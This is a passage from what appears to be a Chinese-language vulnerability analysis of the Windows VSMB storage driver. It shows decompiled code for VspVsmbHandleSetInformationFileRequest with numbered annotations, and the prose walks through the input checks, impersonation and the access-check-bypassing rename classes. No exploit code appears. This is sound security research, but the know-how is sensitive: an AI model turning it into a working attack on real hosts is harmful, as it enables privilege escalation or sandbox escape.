leaf="">%08X</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">, v15);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_77;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">10</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">  InformationClass = InputBuffer-&gt;InformationClass;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( InputBuffer-&gt;InformationClass != FileRenameInformation )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( InputBuffer-&gt;InformationClass == FileLinkInformation )</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_24;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( InputBuffer-&gt;InformationClass != FileRenameInformationEx )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">      v17 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">2964</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">LABEL_26:</span><span leaf=""><br/></span><span leaf="">      status = -</span><span style="color: rgb(0, 92, 197);"><span leaf="">1073741811</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">StorVspTrace</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">        (</span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;VspVsmbHandleSetInformationFileRequest&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        v17,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Cleanup [status = ((NTSTATUS)0xC000000DL)]&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        FileAttributes);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_77;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">LABEL_24:</span><span leaf=""><br/></span><span leaf="">  BufferLength = InputBuffer-&gt;BufferLength;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( BufferLength &lt; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x18</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v17 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xB0F</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_26;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">11</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">  FileNameLength = InputBuffer-&gt;Info.</span><span style="color: rgb(36, 41, 46);"><span leaf="">RenameInfo</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">FileNameLength</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  p_RootDirectory = &amp;InputBuffer-&gt;Info.</span><span style="color: rgb(36, 41, 46);"><span leaf="">RenameInfo</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">RootDirectory</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !FileNameLength || InputBuffer-&gt;Info.</span><span style="color: rgb(36, 41, 46);"><span leaf="">RenameInfo</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">FileName</span></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">] != </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;:&#39;</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">    IsStreamName = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( FileNameLength + </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x14</span></span><span leaf=""> &lt; FileNameLength )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v23 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC0000095</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    v24 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xB1A</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    FileAttributesa = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x95</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_74;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( FileNameLength + </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x14</span></span><span leaf=""> &gt; BufferLength )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v17 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xB1B</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_26;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !IsStreamName )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    *(_DWORD *)(&amp;TargetDirPath.</span><span style="color: rgb(36, 41, 46);"><span leaf="">MaximumLength</span></span><span leaf=""> + </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">) = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    *(_DWORD *)(&amp;Path.</span><span style="color: rgb(36, 41, 46);"><span leaf="">MaximumLength</span></span><span leaf=""> + </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">) = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    Path.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf=""> = FileNameLength;</span><span leaf=""><br/></span><span leaf="">    Path.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Buffer</span></span><span leaf=""> = InputBuffer-&gt;Info.</span><span style="color: rgb(36, 41, 46);"><span leaf="">RenameInfo</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">FileName</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    Path.</span><span style="color: rgb(36, 41, 46);"><span leaf="">MaximumLength</span></span><span leaf=""> = FileNameLength;</span><span leaf=""><br/></span><span leaf="">    FinalPath = 0i64;</span><span leaf=""><br/></span><span leaf="">    TargetDirPath.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Buffer</span></span><span leaf=""> = InputBuffer-&gt;Info.</span><span style="color: rgb(36, 41, 46);"><span leaf="">RenameInfo</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">FileName</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    TargetDirPath.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf=""> = FileNameLength;</span><span leaf=""><br/></span><span leaf="">    RemainingName = 0i64;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">FsRtlDissectName</span></span><span leaf="">(&amp;Path, &amp;FinalPath, &amp;RemainingName);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( RemainingName.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">do</span></span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span leaf="">        Path = RemainingName;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">FsRtlDissectName</span></span><span leaf="">(&amp;Path, &amp;FinalPath, &amp;RemainingName);</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">while</span></span><span leaf=""> ( RemainingName.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf=""> );</span><span leaf=""><br/></span><span leaf="">      ParentDirLength = -</span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf=""> - FinalPath.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf=""> + TargetDirPath.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">      ParentDirLength = TargetDirPath.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf=""> - FinalPath.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    TargetDirPath.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf=""> = ParentDirLength;</span><span leaf=""><br/></span><span leaf="">    TargetDirPath.</span><span style="color: rgb(36, 41, 46);"><span leaf="">MaximumLength</span></span><span leaf=""> = ParentDirLength;</span><span leaf=""><br/></span><span leaf="">[Truncated]</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">12</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    ObjectAttributes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf=""> = </span><span style="color: rgb(0, 92, 197);"><span leaf="">48</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    ObjectAttributes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">RootDirectory</span></span><span leaf=""> = VsmbRootObject-&gt;RootDirectoryHandle;</span><span leaf=""><br/></span><span leaf="">    *(_OWORD *)&amp;ObjectAttributes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">SecurityDescriptor</span></span><span leaf=""> = 0i64;</span><span leaf=""><br/></span><span leaf="">    ObjectAttributes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Attributes</span></span><span leaf=""> = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x240</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    ObjectAttributes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">ObjectName</span></span><span leaf=""> = &amp;TargetDirPath;</span><span leaf=""><br/></span><span leaf="">    status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">IoCreateFileEx</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">               &amp;FileHandle,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC0000000</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">               &amp;ObjectAttributes,</span><span leaf=""><br/></span><span leaf="">               &amp;IoStatusBlock,</span><span leaf=""><br/></span><span leaf="">               0i64,</span><span leaf=""><br/></span><span leaf="">               FILE_ATTRIBUTE_NORMAL,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">3u</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">1u</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">1u</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">               0i64,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">               CreateFileTypeNone,</span><span leaf=""><br/></span><span leaf="">               0i64,</span><span leaf=""><br/></span><span leaf="">               IO_STOP_ON_SYMLINK,</span><span leaf=""><br/></span><span leaf="">               0i64);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( status == </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x8000002D</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( IoStatusBlock.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Information</span></span><span leaf=""> )</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">ExFreePoolWithTag</span></span><span leaf="">((PVOID)IoStatusBlock.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Information</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">      v9 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">2939</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_3;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( status &lt; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">      v24 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">2941</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">      FileAttributes = status;</span><span leaf=""><br/></span><span leaf="">LABEL_74:</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">StorVspTrace</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">        (</span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;VspVsmbHandleSetInformationFileRequest&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        v24,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Cleanup with status 0x</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%08X</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        FileAttributesa);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_77;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">13</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">memmove</span></span><span leaf="">(&amp;InputBuffer-&gt;Info.</span><span style="color: rgb(36, 41, 46);"><span leaf="">RawBuffer</span></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">20</span></span><span leaf="">], FinalPath.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Buffer</span></span><span leaf="">, FinalPath.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    InputBuffer-&gt;Info.</span><span style="color: rgb(36, 41, 46);"><span leaf="">RenameInfo</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">FileNameLength</span></span><span leaf=""> = FinalPath.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Length</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">14</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !VsmbRootObject-&gt;HasWriteAccess )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v25 = InputBuffer-&gt;InformationClass;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v25 == FileRenameInformation )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">      InformationClass = FileRenameInformationBypassAccessCheck;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v25 == FileRenameInformationEx )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">      InformationClass = FileRenameInformationExBypassAccessCheck;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( InputBuffer != (</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST *)0xFFFFFFFFFFFFFFE0i64 &amp;&amp; *p_RootDirectory )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v17 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">2974</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_26;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">15</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">LOBYTE</span></span><span leaf="">(Disposition) = RequestorMode;</span><span leaf=""><br/></span><span leaf="">  status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">ObDuplicateObject</span></span><span leaf="">(</span><span leaf=""><br/></span><span leaf="">             RequestorProcess,</span><span leaf=""><br/></span><span leaf="">             InputBuffer-&gt;SourceHandle,</span><span leaf=""><br/></span><span leaf="">             PsInitialSystemProcess,</span><span leaf=""><br/></span><span leaf="">             &amp;</span><span style="color: rgb(0, 92, 197);"><span leaf="">Handle</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">0x2000000</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">0x240</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">0xA</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">             Disposition);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( status &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">ObReferenceObjectByHandleWithTag</span></span><span leaf="">(</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">Handle</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">0x2000000u</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">               (POBJECT_TYPE)IoFileObjectType,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">0x46745356u</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">               &amp;Object,</span><span leaf=""><br/></span><span leaf="">               0i64);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( status &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( InputBuffer != (</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST *)0xFFFFFFFFFFFFFFE0i64 &amp;&amp; !v12 )</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( FileHandle == (</span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> *)-1i64 )</span><span leaf=""><br/></span><span leaf="">          FileHandle = VsmbRootObject-&gt;RootDirectoryHandle;</span><span leaf=""><br/></span><span leaf="">        *p_RootDirectory = FileHandle;</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">16</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">      v29 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">ZwSetInformationFile</span></span><span leaf="">(</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">Handle</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">              &amp;v48,</span><span leaf=""><br/></span><span leaf="">              &amp;InputBuffer-&gt;Info,</span><span leaf=""><br/></span><span leaf="">              InputBuffer-&gt;BufferLength,</span><span leaf=""><br/></span><span leaf="">              (FILE_INFORMATION_CLASS)InformationClass);</span><span leaf=""><br/></span><span leaf="">[Truncated]</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该函数首先执行一系列验证检查，从 [8] 处开始。如果在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbFileCreate()</span></code><span leaf="">中句柄创建期间填充的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VsmbRootObject-&gt;HasAppendAccess</span></code><span leaf="">成员被设置，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbHandleSetInformationFileRequest()</span></code><span leaf="">将以错误退出。随后，函数对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST</span></code><span leaf="">输入缓冲区实施严格约束，要求 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SourceHandle</span></code><span leaf="">值非零、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Version</span></code><span leaf="">为 1、I/O 请求的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">InputSize</span></code><span leaf="">至少为 0x20，且 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">InputSize</span></code><span leaf="">足以容纳 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BufferLength</span></code><span leaf="">值加上 0x18 字节的结构头。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VsmbRootObject-&gt;HasWriteAccess</span></code><span leaf="">被设置 [9]，则执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbImpersonateRootSecurityContext()</span></code><span leaf="">函数以模拟调用线程。否则，跳过模拟。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 [10] 处，提取 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">InformationClass</span></code><span leaf="">枚举值。该常量指定即将调用的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ZwSetInformationFile()</span></code><span leaf="">函数将执行的文件信息操作。仅接受 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileRenameInformation</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileLinkInformation</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 